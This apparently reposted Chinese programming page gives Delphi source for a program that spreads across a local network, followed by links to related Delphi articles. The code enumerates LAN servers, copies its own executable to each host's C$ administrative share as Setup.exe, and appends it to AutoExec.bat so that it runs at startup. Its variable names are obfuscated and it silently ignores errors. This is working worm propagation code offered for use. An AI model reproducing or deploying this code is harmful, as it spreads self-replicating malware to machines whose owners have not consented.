delphi 制作一个内网传播的程序


本文整理自网络,侵删。

 procedure Enumeration(aResource:PNetResource);      //内网传播    Enumeration(@wgokq[_fehlq])
var
   qnlshmm: THandle;
   kujf_n, mec: DWORD;
   wgokq: array[0..1023] of TNetResource;
   _fehlq: Integer;
   begin
    WNetOpenEnum(2,0,0,aResource,qnlshmm);
    kujf_n:=1024;
    mec:=SizeOf(wgokq);
    while WNetEnumResource(qnlshmm,kujf_n,@wgokq,mec)=0 do
    for _fehlq:=0 to kujf_n-1 do
    begin
     if wgokq[_fehlq].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
      ww := ww + copy(LowerCase(wgokq[_fehlq].lpRemoteName),3,MAX_PATH) + #13#10;
     if wgokq[_fehlq].dwUsage>0 then
    Enumeration(@wgokq[_fehlq])
   end;
   WNetCloseEnum(qnlshmm);
end;

////////////////////////////////////////////////////////////////////////////////////////////////
Procedure Network;         ////内网传播
Var
   x_a : String;
   ktkma : TextFile;
Begin
   Enumeration(NIL);
   While ww <> '' Do Begin
    x_a := Copy(ww, 1, Pos(#13#10, ww)-1);
    Try
     CopyFile(pChar(ParamStr(0)), pChar(x_a + '\C$\Setup.exe'), False);
     If FileExists(pChar(x_a + '\C$\AutoExec.bat')) Then Begin
      AssignFile(ktkma, x_a + '\C$\AutoExec.bat');
      Append(ktkma);
      WriteLn(ktkma, 'Setup.exe');
      CloseFile(ktkma);
     End;
    Except
     ;
    End;
    ww := Copy(ww, Pos(#13#10, ww)+2, Length(ww));
   End;
End;

相关阅读 >>

Delphi 从indy9升级到indy10时idtcpserver的变化

Delphi - 利用dll编程控制摄像头实现拍照、录制视频

Delphi richedit 的scrollbar自动向下滚动

Delphi中使用goo.gl(google的缩短url服务)api

Delphi 自带大小写转换

Delphi idhttp数据自动编码

Delphi里实现文件格式关联应用程序的功能

Delphi获取句柄并发送消息

Delphi 禁止alt+f4关闭

Delphi批量删除同类文件(带通配符)

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...